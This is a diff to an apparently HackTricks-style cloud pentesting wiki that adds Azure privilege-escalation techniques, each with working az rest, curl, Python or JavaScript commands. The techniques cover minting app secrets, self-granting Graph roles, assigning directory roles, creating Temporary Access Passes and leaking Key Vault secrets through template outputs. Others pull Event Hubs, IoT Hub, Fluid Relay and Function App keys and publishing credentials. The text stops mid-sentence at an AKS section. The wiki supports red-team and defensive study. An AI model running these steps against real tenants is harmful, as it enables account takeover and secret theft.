\ + --url "https://graph.microsoft.com/v1.0/applications//addPassword" \ + --headers Content-Type=application/json \ + --body '{"passwordCredential":{"displayName":"temporary-test"}}' +``` + +The secret is returned only once. Remove it with `POST /applications//removePassword` and its `keyId`. See [application: addPassword](https://learn.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0). + +### `AppRoleAssignment.ReadWrite.All` + +This permission can grant Microsoft Graph application roles to the attacker's own service principal or another controlled principal. Resolve the Graph service principal and desired app-role GUID, grant the role, and request a new token because existing tokens do not gain newly assigned roles. + +```bash +az rest --method POST \ + --url "https://graph.microsoft.com/v1.0/servicePrincipals//appRoleAssignments" \ + --headers Content-Type=application/json \ + --body '{ + "principalId":"", + "resourceId":"", + "appRoleId":"" + }' +``` + +Delete the assignment through `DELETE /servicePrincipals//appRoleAssignedTo/`. Microsoft warns that [this API can let an app grant additional privileges to itself](https://learn.microsoft.com/en-us/graph/api/serviceprincipal-post-approleassignments?view=graph-rest-1.0). + +### `DelegatedPermissionGrant.ReadWrite.All` + +This permission can create a tenant-wide delegated grant for an attacker-controlled client. A user must still authenticate to the client, but an `AllPrincipals` grant bypasses the normal admin-consent boundary for the selected scopes. + +```bash +az rest --method POST \ + --url "https://graph.microsoft.com/v1.0/oauth2PermissionGrants" \ + --headers Content-Type=application/json \ + --body '{ + "clientId":"", + "consentType":"AllPrincipals", + "resourceId":"", + "scope":"User.Read Mail.Read" + }' +``` + +Delete the returned object at `/oauth2PermissionGrants/`. See [Create oauth2PermissionGrant](https://learn.microsoft.com/en-us/graph/api/oauth2permissiongrant-post?view=graph-rest-1.0). + +### `RoleManagement.ReadWrite.Directory` + +This permission can create an Entra directory-role assignment. Resolve the desired `roleDefinitionId`; assigning Global Administrator is a direct escalation, while a harmless reader role should be used for validation. + +```bash +az rest --method POST \ + --url "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \ + --headers Content-Type=application/json \ + --body '{ + "principalId":"", + "roleDefinitionId":"", + "directoryScopeId":"/" + }' +``` + +See [Create unifiedRoleAssignment](https://learn.microsoft.com/en-us/graph/api/rbacapplication-post-roleassignments?view=graph-rest-1.0). + +### `UserAuthenticationMethod.ReadWrite.All` + +This permission can register an authentication method for another user. When the tenant's Temporary Access Pass policy allows it, a TAP can bootstrap passwordless sign-in and additional authentication-method registration. + +```bash +az rest --method POST \ + --url "https://graph.microsoft.com/v1.0/users//authentication/temporaryAccessPassMethods" \ + --headers Content-Type=application/json \ + --body '{"lifetimeInMinutes":60,"isUsableOnce":true}' +``` + +The returned `temporaryAccessPass` is shown only once. Delete the method after validation. See [Create temporaryAccessPassAuthenticationMethod](https://learn.microsoft.com/en-us/graph/api/authentication-post-temporaryaccesspassmethods?view=graph-rest-1.0). + +### PIM application permissions + +`PrivilegedAccess.ReadWrite.AzureAD` and `PrivilegedAccess.ReadWrite.AzureResources` are legacy high-impact PIM permissions. They can manage privileged-access assignment requests where the older API remains available. Modern directory-role schedule APIs use `RoleManagement.ReadWrite.Directory`; licensing, eligibility, approval, and activation policy still determine whether a request becomes active. See the [PIM APIs overview](https://learn.microsoft.com/en-us/graph/api/resources/privilegedidentitymanagementv3-overview?view=graph-rest-1.0). + +### Sensitive Graph permissions + +- `AuditLog.Read.All` exposes sign-in and audit history, including privileged activity, source addresses, applications, and detection coverage. +- `Group.ReadWrite.All` can add an attacker-controlled principal to groups that grant application or data access. Role-assignable groups have additional protections. +- `RoleManagement.Read.Directory` enumerates active and eligible privileged role assignments, providing the identity and scope information needed to target a privilege path. +- `User.ReadWrite.All` exposes broad user data and permits supported user-property changes. It does not itself grant password reset or privileged-role assignment. + ## Roles ### Role: Privileged Role Administrator @@ -636,16 +727,6 @@ az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key" ``` -## Other Interesting permissions (TODO) - -- `microsoft.directory/applications/permissions/update` -- `microsoft.directory/servicePrincipals/permissions/update` -- `microsoft.directory/applications.myOrganization/allProperties/update` -- `microsoft.directory/applications/allProperties/update` -- `microsoft.directory/servicePrincipals/appRoleAssignedTo/update` -- `microsoft.directory/applications/appRoles/update` -- `microsoft.directory/applications.myOrganization/permissions/update` - ## References - [1] [Red Canary - Investigating Suspicious AI Workflows in Microsoft Entra Agent ID: Autonomous Agents](https://redcanary.com/blog/threat-detection/entra-id-ai-workflows/) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index 6f200fe922..305639839f 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -21,6 +21,30 @@ Microsoft Graph exposes the Conditional Access policy collection at `/identity/c az rest --method get --uri "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" ``` +## `Policy.Read.All` + `Policy.ReadWrite.ConditionalAccess` + +`Policy.ReadWrite.ConditionalAccess` is not sufficient by itself for the current create-policy API. The least-privileged application combination is `Policy.Read.All` plus `Policy.ReadWrite.ConditionalAccess`; `Application.Read.All` can replace the read scope. The pair can create, disable, weaken, or delete Conditional Access policies, including MFA enforcement. + +Use a disabled policy scoped to a disposable user when validating this path: + +```bash +az rest --method POST \ + --url "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" \ + --headers Content-Type=application/json \ + --body '{ + "displayName":"disabled validation policy", + "state":"disabled", + "conditions":{ + "users":{"includeUsers":[""]}, + "applications":{"includeApplications":["All"]}, + "clientAppTypes":["all"] + }, + "grantControls":{"operator":"OR","builtInControls":["block"]} + }' +``` + +Delete the test policy afterward. The permission combination and request schema are documented in [Create conditionalAccessPolicy](https://learn.microsoft.com/en-us/graph/api/conditionalaccessroot-post-policies?view=graph-rest-1.0). + ## Conditional Access Policies Bypasses It's possible that a conditional access policy is **checking some information that can be easily tampered allowing a bypass of the policy**. And if, for example, the policy was configuring MFA, an attacker may avoid the policy's intended control when a condition is mis-scoped or relies on an unverified signal. diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md new file mode 100644 index 0000000000..348fc05f63 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md @@ -0,0 +1,74 @@ +# Az - Event Grid Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Shared-access key disclosure and event injection + +The following permission families return keys that authenticate event publishers: + +- `Microsoft.EventGrid/topics/listKeys/action` and `Microsoft.EventGrid/topics/regenerateKey/action` +- `Microsoft.EventGrid/domains/listKeys/action` and `Microsoft.EventGrid/domains/regenerateKey/action` +- `Microsoft.EventGrid/namespaces/listKeys/action` and `Microsoft.EventGrid/namespaces/regenerateKey/action` +- `Microsoft.EventGrid/namespaces/topics/listKeys/action` and `Microsoft.EventGrid/namespaces/topics/regenerateKey/action` +- `Microsoft.EventGrid/partnerNamespaces/listKeys/action` and `Microsoft.EventGrid/partnerNamespaces/regenerateKey/action` + +For a custom topic, retrieve the endpoint and keys without writing their values to logs: + +```bash +az eventgrid topic show \ + --resource-group \ + --name \ + --query endpoint --output tsv + +az eventgrid topic key list \ + --resource-group \ + --name +``` + +The returned key can publish an arbitrary event. Existing subscriptions may deliver it to Functions, Logic Apps, webhooks, queues, or other handlers, so a forged event can trigger privileged downstream workflows: + +```bash +curl --request POST '' \ + --header 'Content-Type: application/json' \ + --header 'aeg-sas-key: ' \ + --data '[{ + "id":"authorized-test", + "eventType":"Security.Validation", + "subject":"authorized-test", + "eventTime":"2026-09-07T12:00:00Z", + "data":{"canary":"event-injection"}, + "dataVersion":"1.0" + }]' +``` + +The key grants event publication, not Azure control-plane administration, so this path is high and configuration-dependent rather than automatically critical. Regeneration is noisy and can break publishers. See [Event Grid access-key authentication](https://learn.microsoft.com/en-us/azure/event-grid/authenticate-with-access-keys-shared-access-signatures) and [publish events to a custom topic](https://learn.microsoft.com/en-us/azure/event-grid/post-to-custom-topic). + +## Signed event-subscription endpoint disclosure + +The following operations return the complete destination URL instead of the redacted endpoint stored in an event subscription: + +- `Microsoft.EventGrid/eventSubscriptions/getFullUrl/action` +- `Microsoft.EventGrid/topics/eventSubscriptions/getFullUrl/action` +- `Microsoft.EventGrid/systemTopics/eventSubscriptions/getFullUrl/action` +- `Microsoft.EventGrid/domains/eventSubscriptions/getFullUrl/action` +- `Microsoft.EventGrid/domains/topics/eventSubscriptions/getFullUrl/action` + +This matters when the destination URL is itself a bearer credential. Each operation above was live-tested against an Event Grid subscription whose destination was a signed Logic App request trigger. Every response contained the complete `sig` parameter, and each recovered URL invoked the workflow and returned its seeded canary. This is sensitive callback disclosure rather than automatic control of every possible destination. + +```bash +# Generic extension-resource route. can be a subscription, resource +# group, Azure resource, or custom Event Grid topic. +az rest --method POST \ + --url "https://management.azure.com//providers/Microsoft.EventGrid/eventSubscriptions//getFullUrl?api-version=2025-02-15" + +# Examples of the service-specific nested routes: +az rest --method POST \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.EventGrid/systemTopics//eventSubscriptions//getFullUrl?api-version=2025-02-15" + +az rest --method POST \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.EventGrid/domains//topics//eventSubscriptions//getFullUrl?api-version=2025-02-15" +``` + +Use the `endpointUrl` value exactly as returned. If subscription listing is denied, names and scopes found in deployment templates, monitoring configuration, source code, activity logs, or tickets are sufficient to try the exact action. See [Event Subscriptions - Get Full URL](https://learn.microsoft.com/en-us/rest/api/eventgrid/controlplane/event-subscriptions/get-full-url?view=rest-eventgrid-controlplane-2025-02-15). + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-hubs-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-hubs-privesc.md new file mode 100644 index 0000000000..933ca9987f --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-hubs-privesc.md @@ -0,0 +1,78 @@ +# Az - Event Hubs Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Authorization-rule key disclosure + +`Microsoft.EventHub/namespaces/authorizationRules/listkeys/action` exposes namespace SAS credentials. `Microsoft.EventHub/namespaces/eventhubs/authorizationRules/listkeys/action` exposes an entity-scoped key and connection string. The corresponding `regenerateKeys/action` operations rotate a selected key and return a replacement credential. + +```bash +az eventhubs eventhub authorization-rule keys list \ + --resource-group \ + --namespace-name \ + --eventhub-name \ + --name + +# Namespace-scoped rotation +az eventhubs namespace authorization-rule keys renew \ + --resource-group \ + --namespace-name \ + --name \ + --key PrimaryKey + +# Event-Hub-scoped rotation +az eventhubs eventhub authorization-rule keys renew \ + --resource-group \ + --namespace-name \ + --eventhub-name \ + --name \ + --key PrimaryKey +``` + +The rule's rights determine whether the credential can listen, send, or manage. Listen can disclose event data, Send can inject events into downstream consumers, and Manage includes both. The attack requires local/SAS authentication to remain enabled. A returned connection string can be used directly with the Event Hubs SDK: + +```python +from azure.eventhub import EventData, EventHubConsumerClient, EventHubProducerClient + +connection_string = "" +event_hub = "" # Omit eventhub_name if the entity-scoped string embeds it. + +producer = EventHubProducerClient.from_connection_string( + connection_string, eventhub_name=event_hub +) +with producer: + batch = producer.create_batch() + batch.add(EventData("authorized red-team validation")) + producer.send_batch(batch) + +# Listen/Manage policies can also read retained events. +consumer = EventHubConsumerClient.from_connection_string( + connection_string, + consumer_group="$Default", + eventhub_name=event_hub, +) +with consumer: + consumer.receive( + on_event=lambda partition_context, event: print(event.body_as_str()), + starting_position="-1", + max_wait_time=10, + ) +``` + +If entity discovery is denied, try names recovered from application settings, IaC, monitoring, deployment output, or source repositories. The exact namespace and Event Hub key-list and key-regeneration paths were validated by using every returned/replacement key to inject a data-plane event (HTTP 201). See [Event Hubs - List Keys](https://learn.microsoft.com/en-us/rest/api/eventhub/event-hubs/list-keys?view=rest-eventhub-2026-01-01), [Event Hubs - Regenerate Keys](https://learn.microsoft.com/en-us/rest/api/eventhub/event-hubs/regenerate-keys?view=rest-eventhub-2026-01-01), and [Authorize access with shared access signatures](https://learn.microsoft.com/en-us/azure/event-hubs/authorize-access-shared-access-signature). + +## Geo-Disaster Recovery alias key disclosure + +`Microsoft.EventHub/namespaces/disasterRecoveryConfigs/authorizationRules/listkeys/action` returns the keys and alias connection strings for an authorization rule on the Geo-DR primary namespace: + +```bash +az eventhubs georecovery-alias authorization-rule keys list \ + --resource-group \ + --namespace-name \ + --alias \ + --name RootManageSharedAccessKey +``` + +Use the returned alias connection string in the producer or consumer example above. The alias hostname is intentional: it follows the active primary after failover. Policy rights still determine Send, Listen, or Manage access. Live validation against paired Standard namespaces used the returned alias key to inject an event through the alias endpoint (HTTP 201). See [Disaster Recovery authorization rules - List Keys](https://learn.microsoft.com/en-us/rest/api/eventhub/authorization-rules-disaster-recovery-configs/list-keys?view=rest-eventhub-2024-01-01) and [Event Hubs tier comparison](https://learn.microsoft.com/en-us/azure/event-hubs/compare-tiers). + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-fluid-relay-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-fluid-relay-privesc.md new file mode 100644 index 0000000000..2a5b38f7dd --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-fluid-relay-privesc.md @@ -0,0 +1,46 @@ +# Az - Fluid Relay Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Server tenant-key disclosure and regeneration + +`Microsoft.FluidRelay/fluidRelayServers/listKeys/action` returns both tenant signing keys. `Microsoft.FluidRelay/fluidRelayServers/regenerateKey/action` rotates `key1` or `key2` and returns the replacement. These are reusable application credentials: Fluid clients authenticate with JWTs signed by a tenant key, so possession of one lets an attacker impersonate an arbitrary application user. + +```bash +# Requires the fluid-relay Azure CLI extension. +az fluid-relay server list-key \ + --resource-group \ + --server-name + +az fluid-relay server regenerate-key \ + --resource-group \ + --server-name \ + --key-name key2 +``` + +The server resource exposes the Fluid tenant ID and service endpoint. Supply those values and a returned key to `AzureClient`: + +```javascript +import { AzureClient } from "@fluidframework/azure-client"; +import { InsecureTokenProvider } from "@fluidframework/test-client-utils"; + +const client = new AzureClient({ + connection: { + type: "remote", + tenantId: "", + endpoint: "", + tokenProvider: new InsecureTokenProvider("", { + id: "red-team-validation", + name: "red-team-validation", + }), + }, +}); +``` + +With a known container ID, `client.getContainer(containerId, schema, "2.0.0")` can load its shared objects for reading or modification. Container IDs may be present in application URLs, source, logs, browser storage, or backend records. Even without discovery permissions or an existing ID, `createContainer` plus `container.attach()` proves that the key grants write access by creating a new collaboration container. + +Live validation used a listed `key1` to create and attach a container holding a SharedMap canary. After rotating `key2`, the replacement key reopened the same container and read the exact canary. This proves both operations produce working data-plane credentials. `InsecureTokenProvider` is suitable only for controlled validation because it places the tenant key in the client process. + +References: [Fluid Relay authentication and authorization](https://learn.microsoft.com/en-us/azure/azure-fluid-relay/concepts/authentication-authorization), [Fluid Relay JWT contract](https://learn.microsoft.com/en-us/azure/azure-fluid-relay/how-tos/fluid-json-web-token), [Connect a Fluid application](https://learn.microsoft.com/en-us/azure/azure-fluid-relay/how-tos/connect-fluid-azure-service), and [Azure CLI Fluid Relay server commands](https://learn.microsoft.com/en-us/cli/azure/fluid-relay/server?view=azure-cli-latest). + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index 975b01e9e3..02e5549608 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -128,7 +128,7 @@ az storage blob upload \ --overwrite ``` -### `Microsoft.Web/sites/host/listkeys/action` +### `Microsoft.Web/sites/host/listkeys/action` and `Microsoft.Web/sites/slots/host/listkeys/action` This permission allows listing the host-level keys of the specified Function App, including its function keys, master key, and system keys.[[1]](#references)[[8]](#references) The Azure CLI command below lists the Function App keys.[[9]](#references) @@ -136,6 +136,13 @@ This permission allows listing the host-level keys of the specified Function App az functionapp keys list --resource-group --name ``` +For a deployment slot, use the slot-scoped REST resource and `Microsoft.Web/sites/slots/host/listkeys/action`: + +```bash +az rest --method POST \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//slots//host/default/listKeys?api-version=2025-03-01" +``` + The master key is an administrative key and can be used with administrative endpoints.[[6]](#references) The VFS routes shown below illustrate one way to retrieve source code.[[23]](#references) ```bash @@ -170,7 +177,22 @@ curl -X PUT "https://.azurewebsites.net/admin/vfs/site/wwwroot/[[1]](#references)[[6]](#references) + +```bash +master_key=$(az rest --method GET \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/masterkey?api-version=2024-11-01" \ + --query masterKey --output tsv) + +curl --get --data-urlencode "code=${master_key}" \ + "https://.azurewebsites.net/api/" +``` + +This legacy Kudu-backed route worked when `AzureWebJobsSecretStorageType=Files`. The same request was rejected when the app used the current Blob Storage secret repository, so test the target configuration and do not assume this operation works against every Function App. + +### `Microsoft.Web/sites/functions/listkeys/action` and `Microsoft.Web/sites/slots/functions/listkeys/action` This permission allows retrieving the keys for a specified function with the Function Keys API.[[1]](#references)[[7]](#references) @@ -178,12 +200,25 @@ This permission allows retrieving the keys for a specified function with the Fun az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" ``` +The slot equivalent inserts `/slots/` before `/functions//listKeys` and requires `Microsoft.Web/sites/slots/functions/listkeys/action`. + Invoke the function using the default key obtained; function keys authorize calls to the associated function endpoint.[[6]](#references) ```bash curl "https://.azurewebsites.net/api/?code=" ``` +### `Microsoft.Web/sites/functions/listsecrets/action` and `Microsoft.Web/sites/slots/functions/listsecrets/action` + +These operations use the legacy Kudu Functions API and can return a function's `trigger_url` plus its key. On a live Function App configured with `AzureWebJobsSecretStorageType=Files`, the returned URL invoked a key-protected function and returned the seeded response. The same request failed with an explicit conflict when the app used the current Blob-backed secret repository, so treat this as a configuration-dependent credential path rather than an alias for `listkeys/action`.[[1]](#references)[[27]](#references) + +```bash +az rest --method POST \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listSecrets?api-version=2025-03-01" +``` + +If function enumeration is denied, a function name from source code, deployment manifests, monitoring URLs, or a previously observed `/api/` route is enough to try the exact endpoint. Do not print returned URLs or keys during broad enumeration. + ### `Microsoft.Web/sites/host/functionkeys/write` This permission allows creating or updating a host-level function key. The CLI uses the Function App name for `--name` and the key name for `--key-name`.[[1]](#references)[[6]](#references)[[9]](#references)[[22]](#references) @@ -223,6 +258,18 @@ az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" ``` +### `Microsoft.Web/sites/slots/config/list/action` + +The deployment-slot equivalent returns the slot's security-sensitive application settings. It can expose inline secrets and reusable connection strings even when ordinary slot reads are denied. In the live proof, `AzureWebJobsStorage` contained an account key that authenticated an independent blob upload and download.[[1]](#references)[[25]](#references) + +```bash +az rest --method POST \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//slots//config/appsettings/list?api-version=2024-11-01" \ + --body '{}' +``` + +Identity-based settings contain service endpoints rather than an account key, so inspect each returned value instead of assuming every slot exposes reusable Storage credentials. An exact app and slot name is enough to try the request when listing is denied. + ### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write` These permissions allow listing and modifying Function App configuration values. This is useful because these settings indicate where the code to execute inside the function is located.[[1]](#references)[[3]](#references) @@ -298,6 +345,24 @@ az rest --method PUT \ }' ``` +### `Microsoft.Web/sites/slots/publishxml/action` + +This slot-scoped operation returns publishing profiles **with secrets**. With SCM basic authentication enabled on the target, the returned slot username and password authenticated to Kudu ZipDeploy and deployed a canary function without requiring `sites/slots/write`.[[1]](#references)[[12]](#references)[[13]](#references)[[26]](#references) + +```bash +az rest --method POST \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//slots//publishxml?api-version=2024-11-01" \ + --body '{"format":"WebDeploy"}' + +# Select the profile whose publishUrl is the slot's *.scm.azurewebsites.net +# host, then use the returned userName and userPWD: +curl --user ':' \ + --request POST --data-binary @payload.zip \ + 'https:///api/zipdeploy' +``` + +When SCM basic authentication was disabled, the same disclosed credentials returned HTTP 401. Enabling it is a separate permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write` and, where independently configured, its slot equivalent). FTP profiles can remain usable under the separate FTP policy. + ### `Microsoft.Web/sites/publishxml/action`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/write` The publishing-profile operation returns publishing profiles that can contain **basic-auth deployment credentials**. Basic authentication policies control whether those credentials can be used for SCM or FTP deployments.[[1]](#references)[[12]](#references)[[13]](#references) @@ -425,7 +490,7 @@ az rest --url "https://management.azure.com/subscriptions//reso ### `Microsoft.Web/sites/functions/token/read` -With this permission it's possible to [get the **admin token**](https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2025-05-01), which can be exchanged for the **master key** and then used with administrative endpoints to access and modify the Function App's code.[[1]](#references)[[6]](#references)[[14]](#references) +With this permission it's possible to get a short-lived **admin token**. The live response was a Functions administration JWT; it authenticated to the runtime key-management API, returned a 56-character function key, and that key invoked the protected canary function.[[1]](#references)[[6]](#references)[[14]](#references) The response depends on the target's plan, configuration, and the caller's authorization. If an admin token is returned, the documented flow is: @@ -434,11 +499,18 @@ The response depends on the target's plan, configuration, and the caller's autho az rest --method GET \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2025-05-01" -# Get master key -curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \ - -H "Authorization: Bearer " +# Use the token against the runtime administration API. This example returns +# every key for one known function: +curl "https://.azurewebsites.net/admin/functions//keys" \ + -H "Authorization: Bearer " + +# A returned function key is usable without the original Entra token: +curl --get --data-urlencode 'code=' \ + "https://.azurewebsites.net/api/" ``` +The token is short-lived, but it also authenticated to `/admin/host/status`, and a POST to `/admin/functions/` was accepted for administrative invocation. If function enumeration is denied, names can still be recovered from source, deployment output, route documentation, logs, or client code. + ### `Microsoft.Web/sites/config/write` This permission allows changing app settings, including the setting used to disable a function, so it can **enable functions** that might be disabled (or disable them).[[1]](#references)[[3]](#references)[[17]](#references) @@ -538,5 +610,8 @@ az functionapp deployment source config \ - [22] [Web Apps - Create Or Update Host Secret - REST API](https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/create-or-update-host-secret?view=rest-appservice-2025-03-01) - [23] [Functions API · projectkudu/kudu Wiki](https://github.com/projectkudu/kudu/wiki/Functions-API) - [24] [Manage Function App settings](https://learn.microsoft.com/en-us/azure/azure-functions/functions-how-to-use-azure-function-app-settings) +- [25] [Web Apps - List Application Settings Slot](https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/list-application-settings-slot?view=rest-appservice-2024-11-01) +- [26] [Web Apps - List Publishing Profile XML With Secrets Slot](https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/list-publishing-profile-xml-with-secrets-slot?view=rest-appservice-2024-11-01) +- [27] [Web Apps - List Function Secrets - REST API](https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/list-function-secrets?view=rest-appservice-2025-03-01) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md new file mode 100644 index 0000000000..c8b1d26284 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md @@ -0,0 +1,70 @@ +# Az - IoT Hub Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## IoT Hub shared-access policy keys + +`Microsoft.Devices/IotHubs/listkeys/action` and `Microsoft.Devices/IotHubs/iotHubKeys/listkeys/action` can return the keys of IoT Hub shared-access policies. The default `iothubowner` policy has registry read/write, service-connect, and device-connect rights, giving its key broad data-plane control. + +```bash +# This response contains reusable keys. +az iot hub policy show \ + --resource-group \ + --hub-name \ + --name iothubowner +``` + +With the `azure-iot` CLI extension, build the connection string from the returned key and validate device-registry control with a disposable identity: + +```bash +az iot hub device-identity create \ + --login 'HostName=.azure-devices.net;SharedAccessKeyName=iothubowner;SharedAccessKey=' \ + --device-id authorized-test-device + +az iot hub device-identity show \ + --login 'HostName=.azure-devices.net;SharedAccessKeyName=iothubowner;SharedAccessKey=' \ + --device-id authorized-test-device + +az iot hub device-identity delete \ + --login 'HostName=.azure-devices.net;SharedAccessKeyName=iothubowner;SharedAccessKey=' \ + --device-id authorized-test-device +``` + +Depending on the selected policy rights, the key can also impersonate devices, send cloud-to-device messages, receive device-to-cloud events, or change registry state. Always inspect the policy rather than assuming every returned key is `iothubowner`. See [Control access to IoT Hub using shared access signatures](https://learn.microsoft.com/en-us/azure/iot-hub/authenticate-authorize-sas). + +## Device Provisioning Service shared-access policy keys + +`Microsoft.Devices/provisioningServices/listkeys/action` lists the shared-access policies and their keys. `Microsoft.Devices/provisioningServices/keys/listkeys/action` returns the keys for one known policy. Both were validated by retrieving the default `provisioningserviceowner` key and using it to create a disposable enrollment through the DPS data plane. + +```bash +subscription_id="" +resource_group="" +dps_name="" +policy_name="provisioningserviceowner" + +# List every policy and key: +az rest --method post \ + --url "https://management.azure.com/subscriptions/${subscription_id}/resourceGroups/${resource_group}/providers/Microsoft.Devices/provisioningServices/${dps_name}/listkeys?api-version=2021-10-15" + +# Or retrieve one known policy's keys: +az rest --method post \ + --url "https://management.azure.com/subscriptions/${subscription_id}/resourceGroups/${resource_group}/providers/Microsoft.Devices/provisioningServices/${dps_name}/keys/${policy_name}/listkeys?api-version=2021-10-15" +``` + +Build a connection string from the returned key and use it independently of the victim's Entra token: + +```bash +dps_host="${dps_name}.azure-devices-provisioning.net" +dps_connection_string="HostName=${dps_host};SharedAccessKeyName=${policy_name};SharedAccessKey=" + +az iot dps enrollment create \ + --login "$dps_connection_string" \ + --enrollment-id authorized-test-enrollment \ + --attestation-type symmetricKey +``` + +The impact depends on the selected policy rights. The default owner policy returned `ServiceConfig`, `EnrollmentWrite`, and `DeviceConnect` in the live test, permitting enrollment changes and service/device connections. A restricted custom policy can have less impact, so inspect `rights` rather than treating every DPS key as an owner key. If listing the DPS resource is denied, a known service and policy name obtained from deployment files, logs, tickets, or connection strings is enough for the policy-specific request. + +References: [IoT DPS resource operations](https://learn.microsoft.com/en-us/rest/api/iot-dps/iot-dps-resource?view=rest-iot-dps-2022-12-12) and [list keys for a policy](https://learn.microsoft.com/en-us/rest/api/iot-dps/iot-dps-resource/list-keys-for-key-name?view=rest-iot-dps-2022-12-12). + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md index 6ed2facf78..062cf00ad3 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md @@ -30,9 +30,47 @@ az keyvault set-policy \ --key-permissions all \ --secret-permissions all \ --certificate-permissions all \ - --storage-permissions all + --storage-permissions all ``` +### `Microsoft.KeyVault/vaults/deploy/action` + `Microsoft.Resources/deployments/write` + +This combination can disclose a secret when the vault has `enabledForTemplateDeployment`. ARM resolves a Key Vault reference even if the deployment caller lacks direct Key Vault data-plane read permission. + +A `secureString` output remains protected, but transforming it into an ordinary string removes that protection. This deliberately unsafe output returns the referenced secret base64-encoded: + +```json +{ + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "contentVersion": "1.0.0.0", + "parameters": {"secretValue": {"type": "secureString"}}, + "resources": [], + "outputs": { + "proof": { + "type": "string", + "value": "[base64(parameters('secretValue'))]" + } + } +} +``` + +Supply the parameter with a Key Vault reference: + +```json +{ + "parameters": { + "secretValue": { + "reference": { + "keyVault": {"id": "/subscriptions//resourceGroups//providers/Microsoft.KeyVault/vaults/"}, + "secretName": "" + } + } + } +} +``` + +After an authorized validation, delete the deployment so the transformed output does not remain in deployment history. See [Use Azure Key Vault in templates](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/template-tutorial-use-key-vault). + ### Modify Network Restrictions Changing the vault's network ACL properties requires `Microsoft.KeyVault/vaults/write`; reading the existing configuration may also require `Microsoft.KeyVault/vaults/read`.[[2]](#references)[[3]](#references) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md new file mode 100644 index 0000000000..8bf3785645 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md @@ -0,0 +1,41 @@ +# Az - Kubernetes Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## AKS cluster credentials + +`Microsoft.ContainerService/managedClusters/listClusterAdminCredential/action` returns the `clusterAdmin` kubeconfig. With local accounts enabled it normally maps to `system:masters`, providing full Kubernetes control and access to 